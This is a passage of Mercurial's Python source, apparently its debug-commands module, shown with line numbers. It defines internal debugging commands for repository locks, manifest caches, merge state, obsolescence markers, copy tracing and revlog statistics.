1771 1772 The command will wait until an interruption (SIGINT, SIGTERM, ...) occurs.
1772 1773 The set locks are removed when the command exits.
1773 1774
1774 1775 Returns 0 if no locks are held.
1775 1776
1776 1777 """
1777 1778
1778 1779 if opts.get('force_lock'):
1779 1780 repo.svfs.unlink(b'lock')
1780 1781 if opts.get('force_wlock'):
1781 1782 repo.vfs.unlink(b'wlock')
1782 1783 if opts.get('force_lock') or opts.get('force_wlock'):
1783 1784 return 0
1784 1785
1785 1786 locks = []
1786 1787 try:
1787 1788 if opts.get('set_wlock'):
1788 1789 try:
1789 1790 locks.append(repo.wlock(False))
1790 1791 except error.LockHeld:
1791 1792 raise error.Abort(_(b'wlock is already held'))
1792 1793 if opts.get('set_lock'):
1793 1794 try:
1794 1795 locks.append(repo.lock(False))
1795 1796 except error.LockHeld:
1796 1797 raise error.Abort(_(b'lock is already held'))
1797 1798 if len(locks):
1798 1799 ui.promptchoice(_(b"ready to release the lock (y)? $$ &Yes"))
1799 1800 return 0
1800 1801 finally:
1801 1802 release(*locks)
1802 1803
1803 1804 now = time.time()
1804 1805 held = 0
1805 1806
1806 1807 def report(vfs, name, method):
1807 1808 # this causes stale locks to get reaped for more accurate reporting
1808 1809 try:
1809 1810 l = method(False)
1810 1811 except error.LockHeld:
1811 1812 l = None
1812 1813
1813 1814 if l:
1814 1815 l.release()
1815 1816 else:
1816 1817 try:
1817 1818 st = vfs.lstat(name)
1818 1819 age = now - st[stat.ST_MTIME]
1819 1820 user = util.username(st.st_uid)
1820 1821 locker = vfs.readlock(name)
1821 1822 if b":" in locker:
1822 1823 host, pid = locker.split(b':')
1823 1824 if host == socket.gethostname():
1824 1825 locker = b'user %s, process %s' % (user or b'None', pid)
1825 1826 else:
1826 1827 locker = b'user %s, process %s, host %s' % (
1827 1828 user or b'None',
1828 1829 pid,
1829 1830 host,
1830 1831 )
1831 1832 ui.writenoi18n(b"%-6s %s (%ds)\n" % (name + b":", locker, age))
1832 1833 return 1
1833 1834 except OSError as e:
1834 1835 if e.errno != errno.ENOENT:
1835 1836 raise
1836 1837
1837 1838 ui.writenoi18n(b"%-6s free\n" % (name + b":"))
1838 1839 return 0
1839 1840
1840 1841 held += report(repo.svfs, b"lock", repo.lock)
1841 1842 held += report(repo.vfs, b"wlock", repo.wlock)
1842 1843
1843 1844 return held
1844 1845
1845 1846
1846 1847 @command(
1847 1848 b'debugmanifestfulltextcache',
1848 1849 [
1849 1850 (b'', b'clear', False, _(b'clear the cache')),
1850 1851 (
1851 1852 b'a',
1852 1853 b'add',
1853 1854 [],
1854 1855 _(b'add the given manifest nodes to the cache'),
1855 1856 _(b'NODE'),
1856 1857 ),
1857 1858 ],
1858 1859 b'',
1859 1860 )
1860 1861 def debugmanifestfulltextcache(ui, repo, add=(), **opts):
1861 1862 """show, clear or amend the contents of the manifest fulltext cache"""
1862 1863
1863 1864 def getcache():
1864 1865 r = repo.manifestlog.getstorage(b'')
1865 1866 try:
1866 1867 return r._fulltextcache
1867 1868 except AttributeError:
1868 1869 msg = _(
1869 1870 b"Current revlog implementation doesn't appear to have a "
1870 1871 b"manifest fulltext cache\n"
1871 1872 )
1872 1873 raise error.Abort(msg)
1873 1874
1874 1875 if opts.get('clear'):
1875 1876 with repo.wlock():
1876 1877 cache = getcache()
1877 1878 cache.clear(clear_persisted_data=True)
1878 1879 return
1879 1880
1880 1881 if add:
1881 1882 with repo.wlock():
1882 1883 m = repo.manifestlog
1883 1884 store = m.getstorage(b'')
1884 1885 for n in add:
1885 1886 try:
1886 1887 manifest = m[store.lookup(n)]
1887 1888 except error.LookupError as e:
1888 1889 raise error.Abort(e, hint=b"Check your manifest node id")
1889 1890 manifest.read() # stores revisision in cache too
1890 1891 return
1891 1892
1892 1893 cache = getcache()
1893 1894 if not len(cache):
1894 1895 ui.write(_(b'cache empty\n'))
1895 1896 else:
1896 1897 ui.write(
1897 1898 _(
1898 1899 b'cache contains %d manifest entries, in order of most to '
1899 1900 b'least recent:\n'
1900 1901 )
1901 1902 % (len(cache),)
1902 1903 )
1903 1904 totalsize = 0
1904 1905 for nodeid in cache:
1905 1906 # Use cache.get to not update the LRU order
1906 1907 data = cache.peek(nodeid)
1907 1908 size = len(data)
1908 1909 totalsize += size + 24 # 20 bytes nodeid, 4 bytes size
1909 1910 ui.write(
1910 1911 _(b'id: %s, size %s\n') % (hex(nodeid), util.bytecount(size))
1911 1912 )
1912 1913 ondisk = cache._opener.stat(b'manifestfulltextcache').st_size
1913 1914 ui.write(
1914 1915 _(b'total cache data size %s, on-disk %s\n')
1915 1916 % (util.bytecount(totalsize), util.bytecount(ondisk))
1916 1917 )
1917 1918
1918 1919
1919 1920 @command(b'debugmergestate', [], b'')
1920 1921 def debugmergestate(ui, repo, *args):
1921 1922 """print merge state
1922 1923
1923 1924 Use --verbose to print out information about whether v1 or v2 merge state
1924 1925 was chosen."""
1925 1926
1926 1927 def _hashornull(h):
1927 1928 if h == nullhex:
1928 1929 return b'null'
1929 1930 else:
1930 1931 return h
1931 1932
1932 1933 def printrecords(version):
1933 1934 ui.writenoi18n(b'* version %d records\n' % version)
1934 1935 if version == 1:
1935 1936 records = v1records
1936 1937 else:
1937 1938 records = v2records
1938 1939
1939 1940 for rtype, record in records:
1940 1941 # pretty print some record types
1941 1942 if rtype == b'L':
1942 1943 ui.writenoi18n(b'local: %s\n' % record)
1943 1944 elif rtype == b'O':
1944 1945 ui.writenoi18n(b'other: %s\n' % record)
1945 1946 elif rtype == b'm':
1946 1947 driver, mdstate = record.split(b'\0', 1)
1947 1948 ui.writenoi18n(
1948 1949 b'merge driver: %s (state "%s")\n' % (driver, mdstate)
1949 1950 )
1950 1951 elif rtype in b'FDC':
1951 1952 r = record.split(b'\0')
1952 1953 f, state, hash, lfile, afile, anode, ofile = r[0:7]
1953 1954 if version == 1:
1954 1955 onode = b'not stored in v1 format'
1955 1956 flags = r[7]
1956 1957 else:
1957 1958 onode, flags = r[7:9]
1958 1959 ui.writenoi18n(
1959 1960 b'file: %s (record type "%s", state "%s", hash %s)\n'
1960 1961 % (f, rtype, state, _hashornull(hash))
1961 1962 )
1962 1963 ui.writenoi18n(
1963 1964 b' local path: %s (flags "%s")\n' % (lfile, flags)
1964 1965 )
1965 1966 ui.writenoi18n(
1966 1967 b' ancestor path: %s (node %s)\n'
1967 1968 % (afile, _hashornull(anode))
1968 1969 )
1969 1970 ui.writenoi18n(
1970 1971 b' other path: %s (node %s)\n'
1971 1972 % (ofile, _hashornull(onode))
1972 1973 )
1973 1974 elif rtype == b'f':
1974 1975 filename, rawextras = record.split(b'\0', 1)
1975 1976 extras = rawextras.split(b'\0')
1976 1977 i = 0
1977 1978 extrastrings = []
1978 1979 while i < len(extras):
1979 1980 extrastrings.append(b'%s = %s' % (extras[i], extras[i + 1]))
1980 1981 i += 2
1981 1982
1982 1983 ui.writenoi18n(
1983 1984 b'file extras: %s (%s)\n'
1984 1985 % (filename, b', '.join(extrastrings))
1985 1986 )
1986 1987 elif rtype == b'l':
1987 1988 labels = record.split(b'\0', 2)
1988 1989 labels = [l for l in labels if len(l) > 0]
1989 1990 ui.writenoi18n(b'labels:\n')
1990 1991 ui.write((b' local: %s\n' % labels[0]))
1991 1992 ui.write((b' other: %s\n' % labels[1]))
1992 1993 if len(labels) > 2:
1993 1994 ui.write((b' base: %s\n' % labels[2]))
1994 1995 else:
1995 1996 ui.writenoi18n(
1996 1997 b'unrecognized entry: %s\t%s\n'
1997 1998 % (rtype, record.replace(b'\0', b'\t'))
1998 1999 )
1999 2000
2000 2001 # Avoid mergestate.read() since it may raise an exception for unsupported
2001 2002 # merge state records. We shouldn't be doing this, but this is OK since this
2002 2003 # command is pretty low-level.
2003 2004 ms = mergemod.mergestate(repo)
2004 2005
2005 2006 # sort so that reasonable information is on top
2006 2007 v1records = ms._readrecordsv1()
2007 2008 v2records = ms._readrecordsv2()
2008 2009 order = b'LOml'
2009 2010
2010 2011 def key(r):
2011 2012 idx = order.find(r[0])
2012 2013 if idx == -1:
2013 2014 return (1, r[1])
2014 2015 else:
2015 2016 return (0, idx)
2016 2017
2017 2018 v1records.sort(key=key)
2018 2019 v2records.sort(key=key)
2019 2020
2020 2021 if not v1records and not v2records:
2021 2022 ui.writenoi18n(b'no merge state found\n')
2022 2023 elif not v2records:
2023 2024 ui.notenoi18n(b'no version 2 merge state\n')
2024 2025 printrecords(1)
2025 2026 elif ms._v1v2match(v1records, v2records):
2026 2027 ui.notenoi18n(b'v1 and v2 states match: using v2\n')
2027 2028 printrecords(2)
2028 2029 else:
2029 2030 ui.notenoi18n(b'v1 and v2 states mismatch: using v1\n')
2030 2031 printrecords(1)
2031 2032 if ui.verbose:
2032 2033 printrecords(2)
2033 2034
2034 2035
2035 2036 @command(b'debugnamecomplete', [], _(b'NAME...'))
2036 2037 def debugnamecomplete(ui, repo, *args):
2037 2038 '''complete "names" - tags, open branch names, bookmark names'''
2038 2039
2039 2040 names = set()
2040 2041 # since we previously only listed open branches, we will handle that
2041 2042 # specially (after this for loop)
2042 2043 for name, ns in pycompat.iteritems(repo.names):
2043 2044 if name != b'branches':
2044 2045 names.update(ns.listnames(repo))
2045 2046 names.update(
2046 2047 tag
2047 2048 for (tag, heads, tip, closed) in repo.branchmap().iterbranches()
2048 2049 if not closed
2049 2050 )
2050 2051 completions = set()
2051 2052 if not args:
2052 2053 args = [b'']
2053 2054 for a in args:
2054 2055 completions.update(n for n in names if n.startswith(a))
2055 2056 ui.write(b'\n'.join(sorted(completions)))
2056 2057 ui.write(b'\n')
2057 2058
2058 2059
2059 2060 @command(
2060 2061 b'debugobsolete',
2061 2062 [
2062 2063 (b'', b'flags', 0, _(b'markers flag')),
2063 2064 (
2064 2065 b'',
2065 2066 b'record-parents',
2066 2067 False,
2067 2068 _(b'record parent information for the precursor'),
2068 2069 ),
2069 2070 (b'r', b'rev', [], _(b'display markers relevant to REV')),
2070 2071 (
2071 2072 b'',
2072 2073 b'exclusive',
2073 2074 False,
2074 2075 _(b'restrict display to markers only relevant to REV'),
2075 2076 ),
2076 2077 (b'', b'index', False, _(b'display index of the marker')),
2077 2078 (b'', b'delete', [], _(b'delete markers specified by indices')),
2078 2079 ]
2079 2080 + cmdutil.commitopts2
2080 2081 + cmdutil.formatteropts,
2081 2082 _(b'[OBSOLETED [REPLACEMENT ...]]'),
2082 2083 )
2083 2084 def debugobsolete(ui, repo, precursor=None, *successors, **opts):
2084 2085 """create arbitrary obsolete marker
2085 2086
2086 2087 With no arguments, displays the list of obsolescence markers."""
2087 2088
2088 2089 opts = pycompat.byteskwargs(opts)
2089 2090
2090 2091 def parsenodeid(s):
2091 2092 try:
2092 2093 # We do not use revsingle/revrange functions here to accept
2093 2094 # arbitrary node identifiers, possibly not present in the
2094 2095 # local repository.
2095 2096 n = bin(s)
2096 2097 if len(n) != len(nullid):
2097 2098 raise TypeError()
2098 2099 return n
2099 2100 except TypeError:
2100 2101 raise error.Abort(
2101 2102 b'changeset references must be full hexadecimal '
2102 2103 b'node identifiers'
2103 2104 )
2104 2105
2105 2106 if opts.get(b'delete'):
2106 2107 indices = []
2107 2108 for v in opts.get(b'delete'):
2108 2109 try:
2109 2110 indices.append(int(v))
2110 2111 except ValueError:
2111 2112 raise error.Abort(
2112 2113 _(b'invalid index value: %r') % v,
2113 2114 hint=_(b'use integers for indices'),
2114 2115 )
2115 2116
2116 2117 if repo.currenttransaction():
2117 2118 raise error.Abort(
2118 2119 _(b'cannot delete obsmarkers in the middle of transaction.')
2119 2120 )
2120 2121
2121 2122 with repo.lock():
2122 2123 n = repair.deleteobsmarkers(repo.obsstore, indices)
2123 2124 ui.write(_(b'deleted %i obsolescence markers\n') % n)
2124 2125
2125 2126 return
2126 2127
2127 2128 if precursor is not None:
2128 2129 if opts[b'rev']:
2129 2130 raise error.Abort(b'cannot select revision when creating marker')
2130 2131 metadata = {}
2131 2132 metadata[b'user'] = encoding.fromlocal(opts[b'user'] or ui.username())
2132 2133 succs = tuple(parsenodeid(succ) for succ in successors)
2133 2134 l = repo.lock()
2134 2135 try:
2135 2136 tr = repo.transaction(b'debugobsolete')
2136 2137 try:
2137 2138 date = opts.get(b'date')
2138 2139 if date:
2139 2140 date = dateutil.parsedate(date)
2140 2141 else:
2141 2142 date = None
2142 2143 prec = parsenodeid(precursor)
2143 2144 parents = None
2144 2145 if opts[b'record_parents']:
2145 2146 if prec not in repo.unfiltered():
2146 2147 raise error.Abort(
2147 2148 b'cannot used --record-parents on '
2148 2149 b'unknown changesets'
2149 2150 )
2150 2151 parents = repo.unfiltered()[prec].parents()
2151 2152 parents = tuple(p.node() for p in parents)
2152 2153 repo.obsstore.create(
2153 2154 tr,
2154 2155 prec,
2155 2156 succs,
2156 2157 opts[b'flags'],
2157 2158 parents=parents,
2158 2159 date=date,
2159 2160 metadata=metadata,
2160 2161 ui=ui,
2161 2162 )
2162 2163 tr.close()
2163 2164 except ValueError as exc:
2164 2165 raise error.Abort(
2165 2166 _(b'bad obsmarker input: %s') % pycompat.bytestr(exc)
2166 2167 )
2167 2168 finally:
2168 2169 tr.release()
2169 2170 finally:
2170 2171 l.release()
2171 2172 else:
2172 2173 if opts[b'rev']:
2173 2174 revs = scmutil.revrange(repo, opts[b'rev'])
2174 2175 nodes = [repo[r].node() for r in revs]
2175 2176 markers = list(
2176 2177 obsutil.getmarkers(
2177 2178 repo, nodes=nodes, exclusive=opts[b'exclusive']
2178 2179 )
2179 2180 )
2180 2181 markers.sort(key=lambda x: x._data)
2181 2182 else:
2182 2183 markers = obsutil.getmarkers(repo)
2183 2184
2184 2185 markerstoiter = markers
2185 2186 isrelevant = lambda m: True
2186 2187 if opts.get(b'rev') and opts.get(b'index'):
2187 2188 markerstoiter = obsutil.getmarkers(repo)
2188 2189 markerset = set(markers)
2189 2190 isrelevant = lambda m: m in markerset
2190 2191
2191 2192 fm = ui.formatter(b'debugobsolete', opts)
2192 2193 for i, m in enumerate(markerstoiter):
2193 2194 if not isrelevant(m):
2194 2195 # marker can be irrelevant when we're iterating over a set
2195 2196 # of markers (markerstoiter) which is bigger than the set
2196 2197 # of markers we want to display (markers)
2197 2198 # this can happen if both --index and --rev options are
2198 2199 # provided and thus we need to iterate over all of the markers
2199 2200 # to get the correct indices, but only display the ones that
2200 2201 # are relevant to --rev value
2201 2202 continue
2202 2203 fm.startitem()
2203 2204 ind = i if opts.get(b'index') else None
2204 2205 cmdutil.showmarker(fm, m, index=ind)
2205 2206 fm.end()
2206 2207
2207 2208
2208 2209 @command(
2209 2210 b'debugp1copies',
2210 2211 [(b'r', b'rev', b'', _(b'revision to debug'), _(b'REV'))],
2211 2212 _(b'[-r REV]'),
2212 2213 )
2213 2214 def debugp1copies(ui, repo, **opts):
2214 2215 """dump copy information compared to p1"""
2215 2216
2216 2217 opts = pycompat.byteskwargs(opts)
2217 2218 ctx = scmutil.revsingle(repo, opts.get(b'rev'), default=None)
2218 2219 for dst, src in ctx.p1copies().items():
2219 2220 ui.write(b'%s -> %s\n' % (src, dst))
2220 2221
2221 2222
2222 2223 @command(
2223 2224 b'debugp2copies',
2224 2225 [(b'r', b'rev', b'', _(b'revision to debug'), _(b'REV'))],
2225 2226 _(b'[-r REV]'),
2226 2227 )
2227 2228 def debugp1copies(ui, repo, **opts):
2228 2229 """dump copy information compared to p2"""
2229 2230
2230 2231 opts = pycompat.byteskwargs(opts)
2231 2232 ctx = scmutil.revsingle(repo, opts.get(b'rev'), default=None)
2232 2233 for dst, src in ctx.p2copies().items():
2233 2234 ui.write(b'%s -> %s\n' % (src, dst))
2234 2235
2235 2236
2236 2237 @command(
2237 2238 b'debugpathcomplete',
2238 2239 [
2239 2240 (b'f', b'full', None, _(b'complete an entire path')),
2240 2241 (b'n', b'normal', None, _(b'show only normal files')),
2241 2242 (b'a', b'added', None, _(b'show only added files')),
2242 2243 (b'r', b'removed', None, _(b'show only removed files')),
2243 2244 ],
2244 2245 _(b'FILESPEC...'),
2245 2246 )
2246 2247 def debugpathcomplete(ui, repo, *specs, **opts):
2247 2248 '''complete part or all of a tracked path
2248 2249
2249 2250 This command supports shells that offer path name completion. It
2250 2251 currently completes only files already known to the dirstate.
2251 2252
2252 2253 Completion extends only to the next path segment unless
2253 2254 --full is specified, in which case entire paths are used.'''
2254 2255
2255 2256 def complete(path, acceptable):
2256 2257 dirstate = repo.dirstate
2257 2258 spec = os.path.normpath(os.path.join(encoding.getcwd(), path))
2258 2259 rootdir = repo.root + pycompat.ossep
2259 2260 if spec != repo.root and not spec.startswith(rootdir):
2260 2261 return [], []
2261 2262 if os.path.isdir(spec):
2262 2263 spec += b'/'
2263 2264 spec = spec[len(rootdir) :]
2264 2265 fixpaths = pycompat.ossep != b'/'
2265 2266 if fixpaths:
2266 2267 spec = spec.replace(pycompat.ossep, b'/')
2267 2268 speclen = len(spec)
2268 2269 fullpaths = opts['full']
2269 2270 files, dirs = set(), set()
2270 2271 adddir, addfile = dirs.add, files.add
2271 2272 for f, st in pycompat.iteritems(dirstate):
2272 2273 if f.startswith(spec) and st[0] in acceptable:
2273 2274 if fixpaths:
2274 2275 f = f.replace(b'/', pycompat.ossep)
2275 2276 if fullpaths:
2276 2277 addfile(f)
2277 2278 continue
2278 2279 s = f.find(pycompat.ossep, speclen)
2279 2280 if s >= 0:
2280 2281 adddir(f[:s])
2281 2282 else:
2282 2283 addfile(f)
2283 2284 return files, dirs
2284 2285
2285 2286 acceptable = b''
2286 2287 if opts['normal']:
2287 2288 acceptable += b'nm'
2288 2289 if opts['added']:
2289 2290 acceptable += b'a'
2290 2291 if opts['removed']:
2291 2292 acceptable += b'r'
2292 2293 cwd = repo.getcwd()
2293 2294 if not specs:
2294 2295 specs = [b'.']
2295 2296
2296 2297 files, dirs = set(), set()
2297 2298 for spec in specs:
2298 2299 f, d = complete(spec, acceptable or b'nmar')
2299 2300 files.update(f)
2300 2301 dirs.update(d)
2301 2302 files.update(dirs)
2302 2303 ui.write(b'\n'.join(repo.pathto(p, cwd) for p in sorted(files)))
2303 2304 ui.write(b'\n')
2304 2305
2305 2306
2306 2307 @command(
2307 2308 b'debugpathcopies',
2308 2309 cmdutil.walkopts,
2309 2310 b'hg debugpathcopies REV1 REV2 [FILE]',
2310 2311 inferrepo=True,
2311 2312 )
2312 2313 def debugpathcopies(ui, repo, rev1, rev2, *pats, **opts):
2313 2314 """show copies between two revisions"""
2314 2315 ctx1 = scmutil.revsingle(repo, rev1)
2315 2316 ctx2 = scmutil.revsingle(repo, rev2)
2316 2317 m = scmutil.match(ctx1, pats, opts)
2317 2318 for dst, src in sorted(copies.pathcopies(ctx1, ctx2, m).items()):
2318 2319 ui.write(b'%s -> %s\n' % (src, dst))
2319 2320
2320 2321
2321 2322 @command(b'debugpeer', [], _(b'PATH'), norepo=True)
2322 2323 def debugpeer(ui, path):
2323 2324 """establish a connection to a peer repository"""
2324 2325 # Always enable peer request logging. Requires --debug to display
2325 2326 # though.
2326 2327 overrides = {
2327 2328 (b'devel', b'debug.peer-request'): True,
2328 2329 }
2329 2330
2330 2331 with ui.configoverride(overrides):
2331 2332 peer = hg.peer(ui, {}, path)
2332 2333
2333 2334 local = peer.local() is not None
2334 2335 canpush = peer.canpush()
2335 2336
2336 2337 ui.write(_(b'url: %s\n') % peer.url())
2337 2338 ui.write(_(b'local: %s\n') % (_(b'yes') if local else _(b'no')))
2338 2339 ui.write(_(b'pushable: %s\n') % (_(b'yes') if canpush else _(b'no')))
2339 2340
2340 2341
2341 2342 @command(
2342 2343 b'debugpickmergetool',
2343 2344 [
2344 2345 (b'r', b'rev', b'', _(b'check for files in this revision'), _(b'REV')),
2345 2346 (b'', b'changedelete', None, _(b'emulate merging change and delete')),
2346 2347 ]
2347 2348 + cmdutil.walkopts
2348 2349 + cmdutil.mergetoolopts,
2349 2350 _(b'[PATTERN]...'),
2350 2351 inferrepo=True,
2351 2352 )
2352 2353 def debugpickmergetool(ui, repo, *pats, **opts):
2353 2354 """examine which merge tool is chosen for specified file
2354 2355
2355 2356 As described in :hg:`help merge-tools`, Mercurial examines
2356 2357 configurations below in this order to decide which merge tool is
2357 2358 chosen for specified file.
2358 2359
2359 2360 1. ``--tool`` option
2360 2361 2. ``HGMERGE`` environment variable
2361 2362 3. configurations in ``merge-patterns`` section
2362 2363 4. configuration of ``ui.merge``
2363 2364 5. configurations in ``merge-tools`` section
2364 2365 6. ``hgmerge`` tool (for historical reason only)
2365 2366 7. default tool for fallback (``:merge`` or ``:prompt``)
2366 2367
2367 2368 This command writes out examination result in the style below::
2368 2369
2369 2370 FILE = MERGETOOL
2370 2371
2371 2372 By default, all files known in the first parent context of the
2372 2373 working directory are examined. Use file patterns and/or -I/-X
2373 2374 options to limit target files. -r/--rev is also useful to examine
2374 2375 files in another context without actual updating to it.
2375 2376
2376 2377 With --debug, this command shows warning messages while matching
2377 2378 against ``merge-patterns`` and so on, too. It is recommended to
2378 2379 use this option with explicit file patterns and/or -I/-X options,
2379 2380 because this option increases amount of output per file according
2380 2381 to configurations in hgrc.
2381 2382
2382 2383 With -v/--verbose, this command shows configurations below at
2383 2384 first (only if specified).
2384 2385
2385 2386 - ``--tool`` option
2386 2387 - ``HGMERGE`` environment variable
2387 2388 - configuration of ``ui.merge``
2388 2389
2389 2390 If merge tool is chosen before matching against
2390 2391 ``merge-patterns``, this command can't show any helpful
2391 2392 information, even with --debug. In such case, information above is
2392 2393 useful to know why a merge tool is chosen.
2393 2394 """
2394 2395 opts = pycompat.byteskwargs(opts)
2395 2396 overrides = {}
2396 2397 if opts[b'tool']:
2397 2398 overrides[(b'ui', b'forcemerge')] = opts[b'tool']
2398 2399 ui.notenoi18n(b'with --tool %r\n' % (pycompat.bytestr(opts[b'tool'])))
2399 2400
2400 2401 with ui.configoverride(overrides, b'debugmergepatterns'):
2401 2402 hgmerge = encoding.environ.get(b"HGMERGE")
2402 2403 if hgmerge is not None:
2403 2404 ui.notenoi18n(b'with HGMERGE=%r\n' % (pycompat.bytestr(hgmerge)))
2404 2405 uimerge = ui.config(b"ui", b"merge")
2405 2406 if uimerge:
2406 2407 ui.notenoi18n(b'with ui.merge=%r\n' % (pycompat.bytestr(uimerge)))
2407 2408
2408 2409 ctx = scmutil.revsingle(repo, opts.get(b'rev'))
2409 2410 m = scmutil.match(ctx, pats, opts)
2410 2411 changedelete = opts[b'changedelete']
2411 2412 for path in ctx.walk(m):
2412 2413 fctx = ctx[path]
2413 2414 try:
2414 2415 if not ui.debugflag:
2415 2416 ui.pushbuffer(error=True)
2416 2417 tool, toolpath = filemerge._picktool(
2417 2418 repo,
2418 2419 ui,
2419 2420 path,
2420 2421 fctx.isbinary(),
2421 2422 b'l' in fctx.flags(),
2422 2423 changedelete,
2423 2424 )
2424 2425 finally:
2425 2426 if not ui.debugflag:
2426 2427 ui.popbuffer()
2427 2428 ui.write(b'%s = %s\n' % (path, tool))
2428 2429
2429 2430
2430 2431 @command(b'debugpushkey', [], _(b'REPO NAMESPACE [KEY OLD NEW]'), norepo=True)
2431 2432 def debugpushkey(ui, repopath, namespace, *keyinfo, **opts):
2432 2433 '''access the pushkey key/value protocol
2433 2434
2434 2435 With two args, list the keys in the given namespace.
2435 2436
2436 2437 With five args, set a key to new if it currently is set to old.
2437 2438 Reports success or failure.
2438 2439 '''
2439 2440
2440 2441 target = hg.peer(ui, {}, repopath)
2441 2442 if keyinfo:
2442 2443 key, old, new = keyinfo
2443 2444 with target.commandexecutor() as e:
2444 2445 r = e.callcommand(
2445 2446 b'pushkey',
2446 2447 {
2447 2448 b'namespace': namespace,
2448 2449 b'key': key,
2449 2450 b'old': old,
2450 2451 b'new': new,
2451 2452 },
2452 2453 ).result()
2453 2454
2454 2455 ui.status(pycompat.bytestr(r) + b'\n')
2455 2456 return not r
2456 2457 else:
2457 2458 for k, v in sorted(pycompat.iteritems(target.listkeys(namespace))):
2458 2459 ui.write(
2459 2460 b"%s\t%s\n" % (stringutil.escapestr(k), stringutil.escapestr(v))
2460 2461 )
2461 2462
2462 2463
2463 2464 @command(b'debugpvec', [], _(b'A B'))
2464 2465 def debugpvec(ui, repo, a, b=None):
2465 2466 ca = scmutil.revsingle(repo, a)
2466 2467 cb = scmutil.revsingle(repo, b)
2467 2468 pa = pvec.ctxpvec(ca)
2468 2469 pb = pvec.ctxpvec(cb)
2469 2470 if pa == pb:
2470 2471 rel = b"="
2471 2472 elif pa > pb:
2472 2473 rel = b">"
2473 2474 elif pa < pb:
2474 2475 rel = b"<"
2475 2476 elif pa | pb:
2476 2477 rel = b"|"
2477 2478 ui.write(_(b"a: %s\n") % pa)
2478 2479 ui.write(_(b"b: %s\n") % pb)
2479 2480 ui.write(_(b"depth(a): %d depth(b): %d\n") % (pa._depth, pb._depth))
2480 2481 ui.write(
2481 2482 _(b"delta: %d hdist: %d distance: %d relation: %s\n")
2482 2483 % (
2483 2484 abs(pa._depth - pb._depth),
2484 2485 pvec._hamming(pa._vec, pb._vec),
2485 2486 pa.distance(pb),
2486 2487 rel,
2487 2488 )
2488 2489 )
2489 2490
2490 2491
2491 2492 @command(
2492 2493 b'debugrebuilddirstate|debugrebuildstate',
2493 2494 [
2494 2495 (b'r', b'rev', b'', _(b'revision to rebuild to'), _(b'REV')),
2495 2496 (
2496 2497 b'',
2497 2498 b'minimal',
2498 2499 None,
2499 2500 _(
2500 2501 b'only rebuild files that are inconsistent with '
2501 2502 b'the working copy parent'
2502 2503 ),
2503 2504 ),
2504 2505 ],
2505 2506 _(b'[-r REV]'),
2506 2507 )
2507 2508 def debugrebuilddirstate(ui, repo, rev, **opts):
2508 2509 """rebuild the dirstate as it would look like for the given revision
2509 2510
2510 2511 If no revision is specified the first current parent will be used.
2511 2512
2512 2513 The dirstate will be set to the files of the given revision.
2513 2514 The actual working directory content or existing dirstate
2514 2515 information such as adds or removes is not considered.
2515 2516
2516 2517 ``minimal`` will only rebuild the dirstate status for files that claim to be
2517 2518 tracked but are not in the parent manifest, or that exist in the parent
2518 2519 manifest but are not in the dirstate. It will not change adds, removes, or
2519 2520 modified files that are in the working copy parent.
2520 2521
2521 2522 One use of this command is to make the next :hg:`status` invocation
2522 2523 check the actual file content.
2523 2524 """
2524 2525 ctx = scmutil.revsingle(repo, rev)
2525 2526 with repo.wlock():
2526 2527 dirstate = repo.dirstate
2527 2528 changedfiles = None
2528 2529 # See command doc for what minimal does.
2529 2530 if opts.get('minimal'):
2530 2531 manifestfiles = set(ctx.manifest().keys())
2531 2532 dirstatefiles = set(dirstate)
2532 2533 manifestonly = manifestfiles - dirstatefiles
2533 2534 dsonly = dirstatefiles - manifestfiles
2534 2535 dsnotadded = set(f for f in dsonly if dirstate[f] != b'a')
2535 2536 changedfiles = manifestonly | dsnotadded
2536 2537
2537 2538 dirstate.rebuild(ctx.node(), ctx.manifest(), changedfiles)
2538 2539
2539 2540
2540 2541 @command(b'debugrebuildfncache', [], b'')
2541 2542 def debugrebuildfncache(ui, repo):
2542 2543 """rebuild the fncache file"""
2543 2544 repair.rebuildfncache(ui, repo)
2544 2545
2545 2546
2546 2547 @command(
2547 2548 b'debugrename',
2548 2549 [(b'r', b'rev', b'', _(b'revision to debug'), _(b'REV'))],
2549 2550 _(b'[-r REV] [FILE]...'),
2550 2551 )
2551 2552 def debugrename(ui, repo, *pats, **opts):
2552 2553 """dump rename information"""
2553 2554
2554 2555 opts = pycompat.byteskwargs(opts)
2555 2556 ctx = scmutil.revsingle(repo, opts.get(b'rev'))
2556 2557 m = scmutil.match(ctx, pats, opts)
2557 2558 for abs in ctx.walk(m):
2558 2559 fctx = ctx[abs]
2559 2560 o = fctx.filelog().renamed(fctx.filenode())
2560 2561 rel = repo.pathto(abs)
2561 2562 if o:
2562 2563 ui.write(_(b"%s renamed from %s:%s\n") % (rel, o[0], hex(o[1])))
2563 2564 else:
2564 2565 ui.write(_(b"%s not renamed\n") % rel)
2565 2566
2566 2567
2567 2568 @command(
2568 2569 b'debugrevlog',
2569 2570 cmdutil.debugrevlogopts + [(b'd', b'dump', False, _(b'dump index data'))],
2570 2571 _(b'-c|-m|FILE'),
2571 2572 optionalrepo=True,
2572 2573 )
2573 2574 def debugrevlog(ui, repo, file_=None, **opts):
2574 2575 """show data and statistics about a revlog"""
2575 2576 opts = pycompat.byteskwargs(opts)
2576 2577 r = cmdutil.openrevlog(repo, b'debugrevlog', file_, opts)
2577 2578
2578 2579 if opts.get(b"dump"):
2579 2580 numrevs = len(r)
2580 2581 ui.write(
2581 2582 (
2582 2583 b"# rev p1rev p2rev start end deltastart base p1 p2"
2583 2584 b" rawsize totalsize compression heads chainlen\n"
2584 2585 )
2585 2586 )
2586 2587 ts = 0
2587 2588 heads = set()
2588 2589
2589 2590 for rev in pycompat.xrange(numrevs):
2590 2591 dbase = r.deltaparent(rev)
2591 2592 if dbase == -1:
2592 2593 dbase = rev
2593 2594 cbase = r.chainbase(rev)
2594 2595 clen = r.chainlen(rev)
2595 2596 p1, p2 = r.parentrevs(rev)
2596 2597 rs = r.rawsize(rev)
2597 2598 ts = ts + rs
2598 2599 heads -= set(r.parentrevs(rev))
2599 2600 heads.add(rev)
2600 2601 try:
2601 2602 compression = ts / r.end(rev)
2602 2603 except ZeroDivisionError:
2603 2604 compression = 0
2604 2605 ui.write(
2605 2606 b"%5d %5d %5d %5d %5d %10d %4d %4d %4d %7d %9d "
2606 2607 b"%11d %5d %8d\n"
2607 2608 % (
2608 2609 rev,
2609 2610 p1,
2610 2611 p2,
2611 2612 r.start(rev),
2612 2613 r.end(rev),
2613 2614 r.start(dbase),
2614 2615 r.start(cbase),
2615 2616 r.start(p1),
2616 2617 r.start(p2),
2617 2618 rs,
2618 2619 ts,
2619 2620 compression,
2620 2621 len(heads),
2621 2622 clen,
